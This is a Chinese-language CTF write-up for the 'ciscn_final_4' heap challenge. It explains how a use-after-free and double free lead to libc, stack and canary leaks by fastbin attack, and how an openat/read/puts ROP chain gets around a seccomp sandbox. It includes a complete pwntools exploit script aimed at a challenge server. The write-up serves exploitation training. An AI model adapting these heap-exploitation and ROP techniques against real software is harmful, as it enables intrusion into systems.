这题比较好玩题目采用了沙盒禁用+堆栈结合+反调试
保护
分析
main函数
watch函数
结合我的注释看,这题是有反调试的,所以就我们在本地打的时候可以将这文件的反调试部分就nop掉,之前会一点点逆向的题,所以也没耗多少时间,具体nop手法看我的另一篇文章[链接]:121312
nop后的main函数:
new函数
mwrite函数
delete函数
总结:
- add函数可以malloc 32次
- 有打印堆数据函数
- delete函数有uaf漏洞
- 运行程序后说不能执行系统调用(嗯~)之前没遇到过看了下大佬文章说是沙箱禁用了execve
所以pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取openat/read/puts的组合方式来读取flag
实现沙盒机制方式:1.prctl函数调用,2.seccomp库函数。 详细解答看这篇文章->安全客
那么具体禁用了哪些系统调用可以通过seccomp-tools工具 ->> gitbhu 这题的系统调用禁用如图:
可以看到没有禁用 open,write,read,但是我实战的时候open函数用不了,只能用openat函数
思路
这题在用之前对gdb的pwntools不是特别会使用,所以做题过程浪费很多时间,工具使用网上也不是很好去搜索,所以这里尽量记录一下使用技巧
- 因为这题有打印堆函数,所以可以很方便的泄漏libc
- 然后通过使用double free漏洞进行fast attack攻击堆分配到note_size处(bss : 0x602040-0x6020c0),因为note_size就是我们new函数填入的size,是一个可控区域那么就可以伪造fake chunk,然后将__environ指针写入到note区域进行栈地址泄漏
- 有了栈地址就可以通过fast attack攻击堆分配到stack空间了,然后就是泄漏canary,最后构造ROP(open-write-printf)
ok~
简单的泄漏libc套路
sla('\n',b'M'*0xf0 + p64(0x70)) #用于后面在栈上fakechunk
#-----------------------leak libc address-------------------------------
add(0x68,'1')#用于fastbin attack
add(0x68,'2') #用于fastbin attack
add(0xf0,'3') #leak libc
add(0x68,'4')
add(0x68,'5')
add(0x68,'6')
add(0x78,'7') #用于在bss中伪造fast chunk->size(0x78)
dele(2) #unsort bin
show(2)
ru('\n')
libc.address = info(rc(6),'libc') - (0x7f49ca2dcb78 - 0x7f49c9f18000)
再通过fastbin attack分配堆到bss的指针处进行栈地址泄漏
#-----------------------leak stack address-------------------------------
dele(1) #double free
dele(0)
dele(1)
fake = 0x602050
add(0x68,p64(fake)) # fastbin attack
add(0x68)
add(0x68)
add(0x68,p8(0)*0x60 + p64(libc.symbols['__environ'])) #在note处写入堆指针
show(0)
ru('\n')
stack = info(rc(6),'stack')
有了栈地址同样就可以fastbin attck到栈处,进行canary泄漏
#-----------------------attack into stack-------------------------------
dele(3) #double free
dele(4)
dele(3)
fake = stack - 0x120
add(0x68,p64(fake)) # fastbin attack
add(0x68)
add(0x68)
add(0x68,b'A'*0x11) #这里pase停下来后栈空间是显示的IO_stdout的栈,可以手动设置在输入content前停下来看看栈空间分布情况,当然也可手动断点在这里查看调试
show(14)
ru('\n')
ru('A'*0x11)
canary = info(b'\x00' + rc(7),'canary')
因为开局分析了,这题是通过open-read-puts
方式进行读取flag,现在有了libc就可以很方便的构造ropgadget链条了,但是因为我们用fastbin attck方式写入栈数据的长度有限,那么就需要在多处构造这个rop,首先是第一个gadget如下:(这个gadget是在main函数栈空间里面,实现了伪造的read函数调用,且写入数据到指定栈地址)
#-----------------------make rop-------------------------------
#这段rop用于后面跳转到这里,事先布置好
dele(3) #double free
dele(4)
dele(3)
fake = stack - 0x120
add(0x68,p64(fake)) # fastbin attack main函数栈空间处
add(0x68)
add(0x68)
prdi = libc.address + 0x0000000000021102
prsi = libc.address + 0x00000000000202e8
prdx = libc.address + 0x0000000000001b92
ropgad = p64(prdi) + p64(0)
ropgad += p64(prsi) + p64(fake+0x55-0xd)
ropgad += p64(prdx) + p64(0x999)
ropgad += p64(libc.symbols['read'])# + p64(fake+0x55)
add(0x68,ropgad)
上面在main函数栈中写入了gadget,因为main函数是个死循环不会走ret指令,所以我们可以将堆分配到new函数的栈空间然后再调整rsp的值跳转到mian函数栈空间里的gadget
#-----------------------make new() rop-------------------------------
#因为main函数是个死循环不会走ret指令,所以这里在new函数构造rop然后再跳到我们上面布置的ropgad处
add(0x38)
add(0x38)
dele(2) #double free
dele(20)
dele(2)
rop_addr = fake
fake = fake - (0x7ffd7aeb1e28-0x7ffd7aeb1d02)
add(0x38,p64(fake)) # fastbin attack 到new函数的栈空间处 构造rop
add(0x38)
add(0x38)
#通过计算0x7fff66d5cbf8-0x7fff66d5cae8 = 0x110(new函数栈rsp地址 - 前面ropgad_addr栈地址)
add_rsp = libc.address + 0x00000000000359dc # add rsp, 0x108 ; ret
logs(rop_addr)
#z('b *0x400B91 \n c')
add(0x38,p8(0)*6 + p64(canary) + p64(0) + p64(add_rsp)) #从new函数结束后ret到前面我们在main函数布置的ropgad处
#这里的rop跳转方式不同于平常的跳到指定程序地址,这里是要跳到指定栈空间所以是调整rsp的位置
经过上面一步后我们的程序执行流就到了main函数栈空间里面了,那就是我们伪造的read函数,那么就可以完成我们最后一步的ropgadget读取到flag了
#经过上面布置的ropgad现在就可以执行我们布置的read函数了
buf = 0x602038
flag_addr = rop_addr + 0x90 + 0x48 #指向我下面payload输入的·/flag\x00·处
#payload = p64(prdi) + p64(flag_addr)
#payload += p64(prsi)+ p64(0)
#payload += p64(libc.symbols['open']) #亲测用不了
payload = p64(prdi) + p64(0)
payload += p64(prsi)+ p64(flag_addr)
payload += p64(prdx)+ p64(0)
payload += p64(libc.symbols['openat'])#使用这个函数就需要输入绝对路径的文件路径
payload += p64(prdi) + p64(0x3)
payload += p64(prsi)+ p64(buf)
payload += p64(prdx)+ p64(100)
payload += p64(libc.symbols['read'])
payload += p64(prdi) + p64(buf)
payload += p64(libc.symbols['puts']) + p64(0x400F6D) +b'/flag\x00' #根目录下的flag文件
sl(payload)
其中上面的伪造的具体栈地址偏移需要gdb手动去调试
在做题过程中gdb调试,比如想看new函数的栈空间情况,因为new函数调用次数比较多用设断点方式去一步步跟很蠢,那么就可以在你要停的那次函数前面gdb.attach()如图:
以前不知道,总是习惯性的把gdb.attach放在前面了,然后手动的一直c、c、c。。。
完整exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#import sys
#context.terminal = ['terminator', '-x', 'sh', '-c']
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
#binary = "./ciscn_final_4-debug"
binary = "./ciscn_final_4"
one = [0x45216,0x4526a,0xf02a4,0xf1147] #2.23(64)
#idx = int(sys.argv[1])
global p
local = 0
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("node4.buuoj.cn","28506")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def logs(mallocr,string='logs'):
if(isinstance(mallocr,int)):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr))
else:
print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))
def pa(s=1,t='step'):
log.success('pause : '+ t +'---> '+str(hex(s)))
pause()
def info(data,key='info',bit=64):
if(bit == 64):
leak = u64(data.ljust(8, b'\0'))
else:
leak = u32(data.ljust(4, b'\0'))
logs(leak,key)
return leak
################################ Function ############################################
def add(s,c = 'A',p=0):
sla('>> ','1')
sla('size?',str(s))
if p :
pa()
sa('content?',c)
def dele(i):
sla('>> ','2')
sla('index ?',str(i))
def show(i):
sla('>> ','3')
sla('index ?',str(i))
################################### Statr ############################################
def pwn():
sla('\n',b'M'*0xf0 + p64(0x70)) #用于后面在栈上fakechunk
#-----------------------leak libc address-------------------------------
add(0x68,'1')#用于fastbin attack
add(0x68,'2') #用于fastbin attack
add(0xf0,'3') #leak libc
add(0x68,'4')
add(0x68,'5')
add(0x68,'6')
add(0x78,'7') #用于在bss中伪造fast chunk->size(0x78)
dele(2) #unsort bin
show(2)
ru('\n')
libc.address = info(rc(6),'libc') - (0x7f49ca2dcb78 - 0x7f49c9f18000)
#-----------------------leak stack address-------------------------------
dele(1) #double free
dele(0)
dele(1)
fake = 0x602050
add(0x68,p64(fake)) # fastbin attack
add(0x68)
add(0x68)
add(0x68,p8(0)*0x60 + p64(libc.symbols['__environ'])) #在note处写入堆指针
show(0)
ru('\n')
stack = info(rc(6),'stack')
#-----------------------attack into stack-------------------------------
dele(3) #double free
dele(4)
dele(3)
fake = stack - 0x120
add(0x68,p64(fake)) # fastbin attack
add(0x68)
add(0x68)
add(0x68,b'A'*0x11) #这里pase停下来后栈空间是显示的IO_stdout的栈,可以手动设置在输入content前停下来看看栈空间分布情况,当然也可手动断点在这里查看调试
show(14)
ru('\n')
ru('A'*0x11)
canary = info(b'\x00' + rc(7),'canary')
#-----------------------make rop-------------------------------
#这段rop用于后面跳转到这里,事先布置好
dele(3) #double free
dele(4)
dele(3)
fake = stack - 0x120
add(0x68,p64(fake)) # fastbin attack main函数栈空间处
add(0x68)
add(0x68)
prdi = libc.address + 0x0000000000021102
prsi = libc.address + 0x00000000000202e8
prdx = libc.address + 0x0000000000001b92
ropgad = p64(prdi) + p64(0)
ropgad += p64(prsi) + p64(fake+0x55-0xd)
ropgad += p64(prdx) + p64(0x999)
ropgad += p64(libc.symbols['read'])# + p64(fake+0x55)
add(0x68,ropgad)
#-----------------------make new() rop-------------------------------
#因为main函数是个死循环不会走ret指令,所以这里在new函数构造rop然后再跳到我们上面布置的ropgad处
add(0x38)
add(0x38)
dele(2) #double free
dele(20)
dele(2)
rop_addr = fake
fake = fake - (0x7ffd7aeb1e28-0x7ffd7aeb1d02)
add(0x38,p64(fake)) # fastbin attack 到new函数的栈空间处 构造rop
add(0x38)
add(0x38)
#通过计算0x7fff66d5cbf8-0x7fff66d5cae8 = 0x110(new函数栈rsp地址 - 前面ropgad_addr栈地址)
add_rsp = libc.address + 0x00000000000359dc # add rsp, 0x108 ; ret
logs(rop_addr)
#z('b *0x400B91 \n c')
add(0x38,p8(0)*6 + p64(canary) + p64(0) + p64(add_rsp)) #从new函数结束后ret到前面我们在main函数布置的ropgad处
#这里的rop跳转方式不同于平常的跳到指定程序地址,这里是要跳到指定栈空间所以是调整rsp的位置
#经过上面布置的ropgad现在就可以执行我们布置的read函数了
buf = 0x602038
flag_addr = rop_addr + 0x90 + 0x48
#payload = p64(prdi) + p64(flag_addr)
#payload += p64(prsi)+ p64(0)
#payload += p64(libc.symbols['open'])
payload = p64(prdi) + p64(0)
payload += p64(prsi)+ p64(flag_addr)
payload += p64(prdx)+ p64(0)
payload += p64(libc.symbols['openat'])
payload += p64(prdi) + p64(0x3)
payload += p64(prsi)+ p64(buf)
payload += p64(prdx)+ p64(100)
payload += p64(libc.symbols['read'])
payload += p64(prdi) + p64(buf)
payload += p64(libc.symbols['puts']) + p64(0x400F6D) +b'/flag\x00'
sl(payload)
p.interactive()
################################### End ##############################################
pwn()